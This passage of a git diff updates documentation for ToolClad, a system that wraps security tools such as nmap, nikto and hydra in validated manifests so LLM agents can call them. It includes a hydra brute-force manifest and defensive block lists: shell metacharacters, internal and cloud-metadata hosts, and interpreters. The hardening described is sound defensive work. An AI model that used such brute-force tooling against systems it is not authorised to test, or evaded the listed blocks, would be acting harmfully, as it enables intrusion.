a `.clad.toml` manifest. Checks required fields, type definitions, template variable references, and output schema. +Parse and validate a `.clad.toml` manifest. Checks required fields, type definitions, placeholder references, the egress lint (`block_internal` on network-target args of egress tools), the interpreter denylist, `timeout_seconds > 0`, the `parser` name, and the output schema. Every section is checked against the manifest key allowlist; an unrecognized key is an error. ```bash $ toolclad validate tools/nmap_scan.clad.toml @@ -28,8 +28,23 @@ tools/nmap_scan.clad.toml: OK $ toolclad validate tools/broken_tool.clad.toml tools/broken_tool.clad.toml: ERROR: unknown type "target_ip" (did you mean "ip_address"?) + +$ toolclad validate tools/typo.clad.toml +tools/typo.clad.toml: ERROR: unknown key 'args.target.block_internall' in manifest + +$ toolclad validate tools/typo.clad.toml --allow-unknown-keys +warning: unknown key 'args.target.block_internall' in manifest +tools/typo.clad.toml: OK ``` +| Flag | Effect | +|------|--------| +| `--allow-unknown-keys` | Downgrade unknown manifest keys from an error to a printed warning. This is the only escape hatch; library loading is always strict. | + +If the manifest uses the deprecated `[command] template`, a warning is printed once: `warning: [command] template is deprecated and will be removed in the next minor release; use exec = [...]`. + +All subcommands discover a project `toolclad.toml` by walking up from the manifest's directory and pass its custom types into validation and load-time type checking, so manifests that reference custom types validate from the CLI without extra flags. + **Exit codes:** | Code | Meaning | @@ -37,9 +52,21 @@ tools/broken_tool.clad.toml: ERROR: unknown type "target_ip" (did you mean "ip_a | `0` | Manifest is valid | | `1` | Validation error (details printed to stderr) | -### `toolclad run --arg key=value` +### `toolclad run --arg key=value [--approve]` + +Execute a tool with the provided arguments. Validates arguments, runs the policy gate, constructs the command, executes with timeout, parses output, and returns the evidence envelope as JSON. + +| Flag | Effect | +|------|--------| +| `--approve` | Switch the policy gate to allow-all for this invocation. Without it, a manifest with `human_approval = true` or `risk_tier` `high`/`critical` is refused before anything is spawned: `policy gate denied: manifest requires human approval (human_approval = true)` or `policy gate denied: risk_tier 'high' requires explicit approval`. | -Execute a tool with the provided arguments. Validates arguments, constructs the command, executes with timeout, parses output, and returns the evidence envelope as JSON. +```bash +$ toolclad run tools/nikto_scan.clad.toml --arg target=example.com +Error: policy gate denied: manifest requires human approval (human_approval = true) + +$ toolclad run tools/nikto_scan.clad.toml --approve --arg target=example.com +{ "status": "success", ... } +``` ```bash $ toolclad run tools/whois_lookup.clad.toml --arg target=example.com @@ -77,9 +104,24 @@ $ toolclad run tools/nmap_scan.clad.toml \ | `3` | Execution error (timeout, process error) | | `4` | Output parsing or schema validation failed | +Note that a `timeout` or `schema_error` envelope is still printed in full (with partial or raw output preserved) before the process exits non-zero. + +**Environment variables read by `run`:** + +| Variable | Purpose | +|----------|---------| +| `TOOLCLAD_SCOPE_FILE` | Path to the scope file for `scope_check = true` arguments. When unset, `scope/scope.toml` is searched upward from the manifest's directory; if neither is found, scope-checked arguments are refused. | +| `TOOLCLAD_CONFIG_FILE` | Path to the project `toolclad.toml` holding custom types. When unset, `toolclad.toml` is searched upward from the manifest's directory; absent means no custom types. An unreadable path is an error. | +| `TOOLCLAD_SECRETS_FILE` | TOML file (`name = "value"`) supplying `{_secret:name}` values. Must not be group- or other-readable. Takes precedence over `TOOLCLAD_SECRET_*`. | +| `TOOLCLAD_SECRET_` | Fallback source for `{_secret:name}`. Never passed to child processes. | +| `TOOLCLAD_EVIDENCE_DIR` | Evidence root (default `/toolclad-evidence`), created mode 0700. | +| `TOOLCLAD_KILL_GRACE_MS` | Grace period between `SIGTERM` and `SIGKILL` on timeout. Default `2000`. | + +The child process does **not** inherit the CLI's environment. It receives a fixed `PATH`, `HOME`, `LANG`, `LC_ALL`, `TZ`, and `TERM` only (plus `TOOLCLAD_ARG_*`, `TOOLCLAD_SCAN_ID`, `TOOLCLAD_TOOL_NAME`, `TOOLCLAD_EVIDENCE_DIR`, and `TOOLCLAD_OUTPUT_DIR` for `executor` scripts). + ### `toolclad test --arg key=value` -Dry run: validates arguments and shows the constructed command without executing it. Useful for verifying that a manifest produces the expected command. +Dry run: validates arguments and shows the constructed command without executing it. Useful for verifying that a manifest produces the expected command. Scope checks, the host/IP policy (including DNS resolution under `block_internal`), and custom types from `toolclad.toml` all apply during the dry run exactly as they do for `run`; the policy gate is not consulted because nothing executes. ```bash $ toolclad test tools/nmap_scan.clad.toml \ @@ -261,9 +303,19 @@ ToolClad provides actionable error messages that include suggestions when possib | Error | Meaning | |-------|---------| | `unknown type "target_ip"` | Type not recognized. Suggests similar types if available. | +| `unknown key 'tool.foo' in manifest` | A key outside the manifest allowlist. `validate --allow-unknown-keys` downgrades it to a warning. | | `required argument "target" not provided` | A required parameter is missing. | | `value "exploit" not in allowed list` | Enum value does not match declared options. Lists allowed values. | | `shell metacharacter detected in value` | Input contains injection characters. Lists the rejected character. | -| `template variable {_scan_flags} has no mapping` | A `{_variable}` in the template has no corresponding mapping or default. | -| `output schema validation failed` | Parsed output does not match `[output.schema]`. Shows the specific mismatch. | -| `scope check failed for target` | A scope-checked value is not in the project's allowed scope. | +| `must not contain whitespace` / `must not contain quote or backslash characters` / `must not contain control characters` / `must not contain NUL bytes` | Value hygiene rejection on a string-derived type. | +| `must not start with '-' or '+' (set allow_leading_dash = true to permit)` | The value would be parsed as an option by the tool. | +| `unresolved placeholder '{name}' in command` | A placeholder in `exec`/`template` has no arg, default, mapping, conditional, or executor variable behind it. | +| `command template places a placeholder inside quotes at offset N; ...` | A deprecated `template` quotes a placeholder; use `exec = [...]`. | +| `timeout_seconds must be greater than zero` | `timeout_seconds = 0` is refused at load. | +| `custom output parsers are not supported by the reference runtimes` | `[output] parser` names a script instead of a `builtin:*` parser. | +| `policy gate denied: ...` | `human_approval = true` or `risk_tier` high/critical without `--approve`. | +| `resolves to an internal name — always blocked` | The host is `localhost`, `*.local`, `*.internal`, `metadata.google.internal`, etc. | +| `could not resolve host '' to verify it is public (block_internal)` | DNS lookup failed under `block_internal`; fail-closed. | +| `target '' is not in scope` | A scope-checked value matched no allowed rule (or matched a blocked one). | +| `scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)` | No scope file reachable; the check fails closed. | +| `output schema validation failed` | Parsed output does not match `[output.schema]`. The envelope status is `schema_error` and the raw output is preserved. | diff --git a/docs/command-construction.md b/docs/command-construction.md index b4a130b..c49eef1 100644 --- a/docs/command-construction.md +++ b/docs/command-construction.md @@ -4,51 +4,82 @@ ToolClad command construction is the core mechanism that prevents LLMs from gene ## Invocation Forms -ToolClad supports two invocation forms: +ToolClad has one canonical invocation form, `exec`, and a deprecated sugar form, `template`, that is compiled into `exec` at load. -### Array Form (Preferred) +### Array Form (Canonical) -Each argument is a separate argv entry, passed directly to `execve` without shell interpretation. Values containing spaces, quotes, or special characters are safe because they are never re-split. +Each element is exactly one argv entry, passed directly to `execve` without shell interpretation. Values are substituted into their token and never re-split, so a value that contains whitespace (permitted only with `allow_whitespace = true`) still occupies exactly one argv element. ```toml [command] -exec = ["curl", "-H", "Authorization: {token}", "{target}"] +exec = ["curl", "-s", "-S", "-X", "{method}", "-w", "\\n%{{http_code}}", "{_header_flags}", "{url}"] ``` -### String Template Form (Legacy) +Rules: -A single string that is split into argv via a quote-aware splitter before execution. Works for simple cases but can break when validated parameter values contain spaces. +- A placeholder must be a **whole, unquoted token** such as `"{url}"`. A placeholder may also sit inside a token with literal text (`"{protocol}://{target}:{port}"`); it is substituted textually and the token is never split. +- `{{` and `}}` are escapes for a literal `{` and `}`. They are not placeholders: `"\\n%{{http_code}}"` reaches curl as `\n%{http_code}`. +- Every placeholder must name a declared `[args.*]` entry, a `[command.defaults]` key, a mapping or conditional variable, or one of the executor variables `_scan_id`, `_output_file`, `_evidence_dir`. Any other placeholder rejects the manifest at load. +- A token that consists of exactly one placeholder whose value is the empty string is dropped, so unset optional arguments disappear from the argv. A token with surrounding literal text is kept even if the placeholder is empty. +- A placeholder that resolves to no variable at build time is a build error: `unresolved placeholder '{name}' in command`. + +### String Template Form (Deprecated) ```toml [command] template = "whois {target}" ``` -When both `exec` and `template` are present, `exec` takes precedence. New manifests **should** use `exec`. +`template` is legacy sugar. At load it is tokenized with a POSIX-like splitter that honors `'`/`"` quoting and backslash escapes, and the resulting tokens are stored as the compiled `exec` form. The tokenizer runs on the trusted manifest string only -- substituted values are never re-split. Loading a manifest with `template` prints, once per load: + +``` +warning: [command] template is deprecated and will be removed in the next minor release; use exec = [...] +``` + +Two template-specific rejections: + +- A `{` inside quotes (for example `-H '{headers}'`) rejects the manifest: `command template places a placeholder inside quotes at offset N; placeholders must be whole, unquoted tokens (use exec = [...])`. A `{{` escape inside quotes (`'%{{http_code}}'`) is legal. +- Unbalanced quotes reject the manifest. + +A manifest that declares `template` is validated in template mode even after compilation: `allow_whitespace` is **not** honored. When both `exec` and `template` are present, `exec` is used. Every `[command.conditionals.].template` is tokenized with the same rules. + +### `end_of_options` + +```toml +[command] +exec = ["grep", "-r", "{pattern}", "{path}"] +end_of_options = "--" +``` + +Only the exact value `"--"` is accepted; anything else rejects the manifest. When set, a literal `--` is inserted immediately before the **first** argv token that was produced from a template token consisting solely of a user-argument placeholder (`{pattern}` above), at most once. If no such token exists nothing is inserted. This stops a value from being parsed as an option by tools that honor `--`, on top of the leading-dash rejection the validator already applies. --- ## Template Variables -Both `exec` array elements and `template` strings support `{placeholder}` interpolation: +`exec` array elements (and deprecated `template` strings) support `{placeholder}` interpolation: ```toml [command] -exec = ["nmap", "{_scan_flags}", "--max-rate", "{max_rate}", "-oX", "{_output_file}", "-v", "{extra_flags}", "{target}"] -# Or equivalently (legacy): -# template = "nmap {_scan_flags} --max-rate {max_rate} -oX {_output_file} -v {extra_flags} {target}" +exec = ["nmap", "{_scan_type_flags}", "--max-rate", "{max_rate}", "-oX", "{_output_file}", "-v", "{target}"] ``` -| Variable Pattern | Source | Example | -|-----------------|--------|---------| -| `{arg_name}` | Validated parameter value | `{target}` -> `10.0.1.0/24` | -| `{_scan_flags}` | Resolved from `[command.mappings]` | `-sT -sV --version-intensity 5` | -| `{_output_file}` | Auto-generated evidence output path | `/evidence/123-nmap/scan.xml` | -| `{_scan_id}` | Auto-generated scan/invocation ID | `1711929600-12345` | -| `{_evidence_dir}` | Evidence directory from runtime config | `/evidence` | -| `{_secret:name}` | Resolved from environment/Vault | (never logged) | +| Variable Pattern | Class | Source | Example | +|-----------------|-------|--------|---------| +| `{arg_name}` | single token | Validated parameter value | `{target}` -> `10.0.1.0/24` | +| `{default_name}` | single token | `[command.defaults]` entry | `{max_rate}` -> `1000` | +| `{__flags}` | multi-token | Resolved from `[command.mappings.]` | `{_scan_type_flags}` -> `-sT -sV --version-intensity 5` | +| `{_}` | multi-token | Resolved from `[command.conditionals.]` | `{_header_flags}` -> `-H X-Trace:on`, or nothing | +| `{_output_file}` | single token | Auto-generated evidence output path | `/evidence/123-nmap/scan.xml` | +| `{_scan_id}` | single token | Auto-generated scan/invocation ID | `1711929600-12345` | +| `{_evidence_dir}` | single token | Evidence directory from runtime config | `/evidence` | + +Two disjoint classes: + +- **Trusted multi-token variables** -- `__flags` and `_` -- hold a token vector produced from manifest-controlled text. When an `exec` element is exactly `{_scan_type_flags}`, that vector is spliced into the argv (zero or more tokens). Mapping values are tokenized at resolve time and conditional templates at load; both come from the manifest, so splitting them is safe. +- **Single-token variables** -- every `[args.*]` value, every `[command.defaults]` entry, and the executor-injected `_scan_id`, `_output_file`, `_evidence_dir` -- are substituted textually into exactly one token and are never split. -Variables prefixed with `_` are injected by the executor, not provided by the agent. The agent only fills parameters declared in `[args]`. +The mapping variable name is `__flags` and nothing else: `{_scan_type_flags}` for `[command.mappings.scan_type]`. Legacy aliases such as `{_scan_type}`, `{_scan_flags}` (unless the argument is literally named `scan`), and `{_cond_}` are not recognized. Variables prefixed with `_` come from the manifest or the executor, never from the agent; the agent only fills parameters declared in `[args]`. `{_secret:name}` is an HTTP-backend feature; see [Secret Injection](#secret-injection). ## Mappings @@ -60,7 +91,7 @@ type = "enum" allowed = ["ping", "service", "version", "syn", "os_detect"] [command] -template = "nmap {_scan_flags} {target}" +exec = ["nmap", "{_scan_type_flags}", "{target}"] [command.mappings.scan_type] ping = "-sn -PE" @@ -74,8 +105,8 @@ When the agent provides `scan_type = "service"`, the executor: 1. Validates `"service"` is in the `allowed` list 2. Looks up `"service"` in `[command.mappings.scan_type]` -3. Sets `{_scan_flags}` to `"-sT -sV --version-intensity 5"` -4. Interpolates the template +3. Tokenizes the mapped value `-sT -sV --version-intensity 5` (manifest-controlled text) into four tokens and exposes them as `{_scan_type_flags}` +4. Splices those tokens into the argv where `{_scan_type_flags}` appears, producing `["nmap", "-sT", "-sV", "--version-intensity", "5", "10.0.1.0/24"]` The agent selects a logical operation ("service scan"). The manifest translates it to the correct flags. The agent never needs to know nmap's flag syntax. @@ -85,16 +116,18 @@ For tools where some flags should only be present when certain conditions are me ```toml [command] -template = "hydra {_service_flags} {_credential_flags} {_thread_flags} {target}" +exec = ["hydra", "{_service_port}", "{_username_file}", "{_password_file}", "{_single_user}", "{_single_pass}", "{target}", "{service}"] [command.conditionals] -service_port = { when = "port != 0", template = "-s {port}" } +service_port = { when = "port != ''", template = "-s {port}" } username_file = { when = "username_file != ''", template = "-L {username_file}" } password_file = { when = "password_file != ''", template = "-P {password_file}" } single_user = { when = "username != '' and username_file == ''", template = "-l {username}" } single_pass = { when = "password != '' and password_file == ''", template = "-p {password}" } ``` +Each conditional is exposed as the multi-token variable `{_}` -- `{_service_port}` for `service_port`. Its `template` is tokenized at load with the same rules as `[command].template`: placeholders must be whole, unquoted tokens and `{{`/`}}` escape literal braces. When `when` is true, the tokens are spliced into the argv where `{_}` appears, with the conditional's own placeholders substituted as single tokens; when false, the placeholder contributes zero tokens. + ### `when` Expression Syntax Conditionals use a closed-vocabulary expression parser (no `eval`, no dynamic code execution): @@ -110,7 +143,7 @@ Values are compared as strings. The parser only supports `==`, `!=`, and `and`. ### Conditional Evaluation Order -Conditionals are evaluated in declaration order. Each conditional that evaluates to `true` has its template fragment interpolated and appended to the command. Conditionals that evaluate to `false` are omitted entirely (no empty strings left in the command). +Conditionals are evaluated in declaration order. Each conditional's tokens land at the position of its `{_}` placeholder in `exec`, so the manifest author controls where the flags go. Conditionals that evaluate to `false` are omitted entirely (no empty strings are left in the argv). ## Defaults @@ -118,13 +151,13 @@ Provide default values for template variables that are not declared as args: ```toml [command] -template = "nmap {_scan_flags} --max-rate {max_rate} -oX {_output_file} {target}" +exec = ["nmap", "{_scan_type_flags}", "--max-rate", "{max_rate}", "-oX", "{_output_file}", "{target}"] [command.defaults] max_rate = 1000 ``` -If `max_rate` is not provided as an arg and has no arg definition, the default value is used. This is useful for internal tuning knobs that should not be exposed to the agent. +If `max_rate` is not provided as an arg and has no arg definition, the default value is used as a single token. This is useful for internal tuning knobs that should not be exposed to the agent. `[command.defaults]` is an open map (its keys are user-chosen names), so it is exempt from the unknown-key check. ## Escape Hatch: Custom Executor @@ -143,16 +176,20 @@ The custom executor receives validated arguments as environment variables: | `TOOLCLAD_ARG_TARGET` | Validated `target` arg value | | `TOOLCLAD_ARG_PORT` | Validated `port` arg value | | `TOOLCLAD_SCAN_ID` | Auto-generated scan ID | +| `TOOLCLAD_TOOL_NAME` | `[tool] name` | | `TOOLCLAD_OUTPUT_DIR` | Evidence output directory | | `TOOLCLAD_EVIDENCE_DIR` | Root evidence directory | +These are the **only** additions to an otherwise cleared environment. The child sees a fixed `PATH` (`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`) plus `HOME`, `LANG`, `LC_ALL`, `TZ`, and `TERM` if the parent had them. `TOOLCLAD_SECRET_*` is never passed to the executor; secrets are not available to escape-hatch scripts. The executor path is resolved like any other `argv[0]` (used as-is when it contains a path separator, otherwise looked up on the fixed `PATH`) and is subject to the interpreter denylist -- `executor = "python3"` is refused at load unless `[tool] allow_interpreter = true`, while a script such as `msf-wrapper.sh` is fine because its basename is not an interpreter. + The escape hatch is for command construction only. All other ToolClad guarantees still apply: - Parameter validation runs before the executor is called -- Scope enforcement runs on `scope_target` args +- Scope enforcement runs on args with `scope_check = true` +- The policy gate runs before anything executes (Cedar evaluation is external) +- The hardened spawn path applies: stdin from `/dev/null`, a 0700 per-invocation scratch cwd, process group kill on timeout - Timeout enforcement wraps the executor process -- Evidence envelope captures the executor's stdout -- Cedar policy evaluation runs before anything executes +- Evidence envelope captures the executor's stdout, subject to `[output] max_bytes` ```bash #!/bin/bash @@ -174,7 +211,7 @@ msfconsole -q -x " ## Secret Injection -The `{_secret:name}` syntax resolves secrets from environment variables at invocation time. Secrets never appear in the manifest, MCP schema, or LLM context. +The `{_secret:name}` syntax, used in `[http]` templates (`url`, `headers` values, `body_template`), resolves secrets at invocation time. Secrets never appear in the manifest, MCP schema, LLM context, or evidence envelope. ```toml [http] @@ -182,7 +219,12 @@ url = "https://api.example.com/v1/{endpoint}?key={_secret:api_key}" headers = { "Authorization" = "Bearer {_secret:bearer_token}" } ``` -Resolution: `{_secret:api_key}` -> `$TOOLCLAD_SECRET_API_KEY` environment variable. In Symbiont, secrets resolve from Vault/OpenBao. +Resolution order: + +1. The TOML file named by `TOOLCLAD_SECRETS_FILE` (`api_key = "..."` at top level). The file's permissions are checked and it is rejected if group- or other-readable. When present, it wins. +2. `TOOLCLAD_SECRET_` in the runtime's own environment (`{_secret:api_key}` -> `$TOOLCLAD_SECRET_API_KEY`). + +A missing secret is a hard error. Secrets are expanded on the manifest template **before** argument interpolation, so an argument value can never introduce a secret reference; `TOOLCLAD_SECRET_*` is never passed to any child process; and the envelope's `command` holds the unexpanded template. A hosting runtime such as Symbiont may resolve secrets from Vault/OpenBao instead; that integration is outside the reference runtimes. ## Array-Based Execution @@ -192,12 +234,13 @@ All commands are dispatched via direct `execve` with an argument array. There is # exec form — already an array, no splitting needed: exec = ["nmap", "-sT", "-sV", "--max-rate", "1000", "10.0.1.0/24"] -# template form — split into array by quote-aware splitter: -Template: "nmap -sT -sV --max-rate 1000 10.0.1.0/24" +# template form (deprecated) — tokenized at load, before any value is substituted: +Template: "nmap -sT -sV --max-rate 1000 {target}" +Compiled: ["nmap", "-sT", "-sV", "--max-rate", "1000", "{target}"] Argv: ["nmap", "-sT", "-sV", "--max-rate", "1000", "10.0.1.0/24"] ``` -The `exec` form is preferred because it preserves argument boundaries exactly as declared — no splitting heuristics, no edge cases with quotes or spaces. +The `exec` form is canonical because it preserves argument boundaries exactly as declared -- no splitting heuristics, no edge cases with quotes or spaces. In both forms the argv is built by substituting values into already-separated tokens; a substituted value is never re-split. `argv[0]` is resolved to an absolute path against a fixed `PATH` at spawn time, and the child runs with a cleared, allowlisted environment and stdin from `/dev/null` (see [Security Model](security-model.md#spawn-path-hardening)). This means: @@ -210,14 +253,17 @@ Even if injection characters somehow pass type validation, they are treated as l ## Process Group Kill on Timeout -Tools are spawned in a new process group (PGID). When `timeout_seconds` is exceeded, the executor sends `SIGTERM` to the entire process group, then `SIGKILL` after a grace period. This kills the tool and all its child processes -- no zombie processes, no orphaned background jobs. +Tools are spawned in a new process group (PGID). When `timeout_seconds` is exceeded, the executor sends `SIGTERM` to the entire process group, waits a grace period of `TOOLCLAD_KILL_GRACE_MS` milliseconds (default 2000), then sends `SIGKILL` to the group. This kills the tool and all its child processes -- no zombie processes, no orphaned background jobs. The same sequence is used by all four runtimes (Go via `cmd.Cancel` + `cmd.WaitDelay`; JavaScript via an async `spawn` with a timer, which is why its `execute` is asynchronous). ``` Spawn: tool PID=1234, PGID=1234 Timeout: kill(-1234, SIGTERM) -> kills PID 1234 and all children -Grace: kill(-1234, SIGKILL) -> force kill if still alive +Grace: wait TOOLCLAD_KILL_GRACE_MS (default 2000 ms) +Then: kill(-1234, SIGKILL) -> force kill if still alive ``` +Output captured before the kill is returned in the envelope with `status: "timeout"` (and `output_truncated` if the `max_bytes` cap was hit). `timeout_seconds = 0` is refused at load with `timeout_seconds must be greater than zero`; the default remains 60. + ## Full Example: Hydra with Conditionals ```toml @@ -227,13 +273,16 @@ version = "1.0.0" binary = "hydra" description = "Network login brute-force" timeout_seconds = 1800 -risk_tier = "high" +risk_tier = "high" # Denied by the default policy gate: run with --approve human_approval = true +network_egress = true # hydra is also on the known egress-binary list [args.target] position = 1 required = true type = "scope_target" +block_internal = true # Mandatory for an egress tool; the manifest is refused without it +scope_check = true # Allowlist against scope/scope.toml (fail-closed) [args.service] position = 2 @@ -244,7 +293,6 @@ allowed = ["ssh", "ftp", "http-get", "http-post-form", "smb", "rdp", "mysql", "p [args.port] type = "port" required = false -default = 0 [args.username] type = "string" @@ -272,10 +320,17 @@ clamp = true default = 4 [command] -template = "hydra {_conditional_flags} -t {threads} {target} {service}" +exec = [ + "hydra", + "{_service_port}", + "{_username_file}", "{_password_file}", + "{_single_user}", "{_single_pass}", + "-t", "{threads}", + "{target}", "{service}", +] [command.conditionals] -service_port = { when = "port != 0", template = "-s {port}" } +service_port = { when = "port != ''", template = "-s {port}" } username_file = { when = "username_file != ''", template = "-L {username_file}" } password_file = { when = "password_file != ''", template = "-P {password_file}" } single_user = { when = "username != '' and username_file == ''", template = "-l {username}" } @@ -285,6 +340,7 @@ single_pass = { when = "password != '' and password_file == ''", template = "-p format = "text" parser = "builtin:text" envelope = true +max_bytes = 8388608 [output.schema] type = "object" diff --git a/docs/getting-started.md b/docs/getting-started.md index ecb6ac4..5cbb4d9 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -52,7 +52,7 @@ type = "scope_target" description = "Domain name or IP address to query" [command] -template = "whois {target}" +exec = ["whois", "{target}"] [output] format = "text" @@ -69,9 +69,9 @@ description = "Raw WHOIS registration data" What this manifest declares: - **`[tool]`**: Name, binary, timeout, risk tier. Identifies the tool for MCP registration and policy evaluation. -- **`[tool.cedar]`**: Cedar resource and action for authorization. -- **`[args.target]`**: Required `scope_target` -- validates the value is a valid IP, CIDR, or hostname and blocks shell injection characters. -- **`[command]`**: Template string. The executor interpolates validated args and dispatches via `execve` -- no shell interpretation. +- **`[tool.cedar]`**: Cedar resource and action for an external policy engine. +- **`[args.target]`**: Required `scope_target` -- validates the value is a valid IP, CIDR, or hostname and blocks shell injection characters, whitespace, quotes, and a leading dash. +- **`[command]`**: `exec` argv array. Each element is one argument; the executor substitutes validated values into their tokens (never re-splitting them) and dispatches via `execve` -- no shell interpretation. The older `template = "whois {target}"` form still loads but is deprecated and prints a warning. - **`[output]`**: Text format, wrapped in a structured evidence envelope with SHA-256 hash. ## Validate @@ -91,7 +91,7 @@ tools/whois_lookup.clad.toml is valid Command: whois {target} ``` -Validation checks required fields, type definitions, template references, and output schema structure. +Validation checks required fields, type definitions, placeholder references, and output schema structure. Any key the format does not define is refused (`unknown key 'tool.foo' in manifest`); pass `--allow-unknown-keys` to downgrade that to a warning while migrating an old manifest. If a `toolclad.toml` with custom types exists in the manifest's directory or any parent, it is loaded automatically. ## Dry Run @@ -148,6 +148,12 @@ Output (evidence envelope): Every execution returns a structured JSON envelope with timing, exit code, output hash, and parsed results. +Tools that declare `human_approval = true` or a `risk_tier` of `high` or `critical` are refused by the default policy gate (`policy gate denied: ...`). Pass `--approve` to run them: + +```bash +toolclad run tools/nikto_scan.clad.toml --approve --arg target=example.com +``` + ## Generate MCP Schema Export the manifest as an MCP tool definition for LLM consumption: @@ -197,7 +203,7 @@ Error: Argument validation failed target: injection characters detected (;) in scope_target value ``` -Shell metacharacters (`` ; | & $ ` ( ) { } [ ] < > ! \n \r ``) are rejected by default on all string-based types. The command is never constructed, let alone executed. +Shell metacharacters (`` ; | & $ ` ( ) { } [ ] < > ! ``) are rejected by default on all string-derived types, along with NUL bytes, control characters (including `\n` and `\r`), quotes and backslashes, whitespace, and a leading `-` or `+`. The command is never constructed, let alone executed. ## A More Complex Example @@ -230,8 +236,10 @@ allowed = ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA", "PTR", "SRV", "ANY"] default = "A" description = "DNS record type" +# `+short` is a literal argv element declared by the manifest. A `scope_target` +# value can never begin with `+` or `-`, so an argument cannot become an option. [command] -template = "dig +short {target} {record_type}" +exec = ["dig", "+short", "{target}", "{record_type}"] [output] format = "text" @@ -268,15 +276,16 @@ The `record_type` enum constrains the agent to only the 10 declared values. Prov | Command | Description | |---------|-------------| -| `toolclad validate ` | Parse and validate a `.clad.toml` manifest | -| `toolclad run --arg k=v` | Execute a tool with validated arguments | +| `toolclad validate [--allow-unknown-keys]` | Parse and validate a `.clad.toml` manifest | +| `toolclad run --arg k=v [--approve]` | Execute a tool with validated arguments | | `toolclad test --arg k=v` | Dry-run: validate and show command without executing | | `toolclad schema ` | Output MCP-compatible JSON Schema | ## Next Steps - [Manifest Format](manifest-format.md) -- full reference for every section -- [Type System](type-system.md) -- all 14 types with validation rules -- [Command Construction](command-construction.md) -- templates, mappings, conditionals -- [HTTP and MCP Backends](http-mcp-backends.md) -- wrap HTTP APIs and MCP server tools -- [Session Mode](session-mode.md) -- govern interactive CLI tools +- [Type System](type-system.md) -- all 15 types with validation rules +- [Command Construction](command-construction.md) -- `exec` arrays, mappings, conditionals +- [HTTP and MCP Backends](http-mcp-backends.md) -- wrap HTTP APIs (executed) and MCP server tools (parsed, `delegation_preview`) +- [Session Mode](session-mode.md) -- the interactive CLI contract (parsed and validated; execution by a hosting runtime) +- [Security Model](security-model.md) -- value hygiene, spawn hardening, policy gate, scope enforcement diff --git a/docs/http-mcp-backends.md b/docs/http-mcp-backends.md index 1b4b8d3..160875d 100644 --- a/docs/http-mcp-backends.md +++ b/docs/http-mcp-backends.md @@ -1,6 +1,8 @@ # HTTP & MCP Backends -ToolClad oneshot mode supports three backends: shell commands (`[command]`), HTTP requests (`[http]`), and MCP proxy calls (`[mcp]`). All three share the same governance layer: argument validation, Cedar policy evaluation, output schema validation, and evidence envelopes. The backend determines how the request is dispatched. +ToolClad oneshot mode declares three backends: shell commands (`[command]`), HTTP requests (`[http]`), and MCP proxy calls (`[mcp]`). All three share the same governance layer: argument validation, policy gating, output schema validation, and evidence envelopes. The backend determines how the request is dispatched. + +> **Which backends the reference runtimes execute.** `[command]` and `[http]` are executed. `[mcp]` manifests are **parsed and validated but not executable**: the reference runtimes validate the arguments, apply `field_map`, and return a `delegation_preview` envelope without contacting any MCP server. Forwarding the call upstream is the job of a hosting runtime such as Symbiont. ## HTTP Backend @@ -73,14 +75,16 @@ description = "Message timestamp (Slack message ID)" The executor follows this sequence: -1. Interpolate `{arg_name}` placeholders in `url`, `headers`, and `body_template` with validated parameter values -2. Resolve `{_secret:name}` references from secrets management +1. Expand `{_secret:name}` references **on the manifest template first** -- in `url`, every `headers` value, and `body_template`. Because this happens before any argument is interpolated, an argument value can never introduce a secret reference (the `url` validator also rejects `{` and `}` outright). +2. Interpolate `{arg_name}` placeholders with validated parameter values. Values placed in the URL are percent-encoded (path segments with the path set, query values with the query set); values placed in `body_template` are JSON-escaped. 3. Set method, headers, and body -4. Execute with `timeout_seconds` +4. Execute with `timeout_seconds`. Redirects are **not** followed: a 3xx response is surfaced as `status: "redirect_blocked"`. 5. Check response status against `success_status` / `error_status` -6. Parse response body with the declared parser -7. Validate against `[output.schema]` -8. Wrap in evidence envelope +6. Parse the response body with the declared parser, subject to `[output] max_bytes` +7. Validate against `[output.schema]` (fail-closed: a violation yields `status: "schema_error"` with the raw body preserved) +8. Wrap in an evidence envelope. The envelope's `command` holds the **unexpanded** template (`" "`), never the expanded URL, so secrets never reach the agent or the evidence store. + +`[http]` manifests are treated as `network_egress = true`: every `url`, `scope_target`, `ip_address`, or `cidr` argument must set `block_internal = true` or the manifest is refused at load. ### Secrets Injection @@ -92,10 +96,12 @@ url = "https://api.example.com/v1/{endpoint}?key={_secret:api_key}" headers = { "Authorization" = "Bearer {_secret:bearer_token}" } ``` -Resolution order: +Resolution order in the reference runtimes: -1. `TOOLCLAD_SECRET_` environment variable (standalone use) -2. Vault/OpenBao path (Symbiont integration) +1. The file named by `TOOLCLAD_SECRETS_FILE` (preferred): a TOML file with `name = "value"` entries at top level. Its permissions are checked and it is rejected if group- or other-readable. When present, the file wins. +2. The `TOOLCLAD_SECRET_` environment variable of the runtime's own process. + +A missing secret is a hard error. Secrets are never placed in a child process environment (`TOOLCLAD_SECRET_*` is stripped from every spawn), never appear in the envelope's `command`, and -- because expansion happens before argument interpolation -- can never be referenced from an argument value. A hosting runtime such as Symbiont may substitute its own secret store (Vault/OpenBao); that integration is outside the reference runtimes. The agent proposes `slack_post_message(channel="C01234", message="hello")`. The executor injects the bearer token from the secret store. The agent never sees the token. @@ -109,6 +115,8 @@ error_status = [400, 401, 403, 404, 429] - Status in `success_status`: parse response, return results. - Status in `error_status`: return error envelope with status code and response body for agent self-correction. - Status not in either list: return error envelope with "unexpected status code" message. +- Any 3xx: redirects are not followed; the envelope status is `redirect_blocked`. +- 4xx responses are classified `client_error` and 5xx `server_error` in the envelope. ### HTTP GET Example @@ -124,11 +132,13 @@ risk_tier = "low" [args.ip] type = "ip_address" required = true +# [http] manifests are network egress: block_internal is mandatory at load. +block_internal = true description = "IP address to look up" [http] method = "GET" -url = "https://ipapi.co/{ip}/json/" +url = "https://ipapi.co/{ip}/json/" # {ip} is percent-encoded as a path segment success_status = [200] error_status = [429] @@ -158,7 +168,9 @@ description = "ISP or organization" ## MCP Proxy Backend -The MCP proxy backend wraps an existing MCP server tool in a ToolClad manifest. The manifest applies stricter validation and Cedar policy gating on top of the upstream tool's permissive schema. +> **Not executable by the reference runtimes.** An `[mcp]` manifest loads, validates, and produces an MCP schema, but `execute` returns a `delegation_preview` envelope containing the upstream server name, tool name, and the field-mapped arguments. No MCP server is contacted. Steps 4-6 of the execution flow below are performed by a hosting runtime, not by the reference CLIs or libraries. + +The MCP proxy backend wraps an existing MCP server tool in a 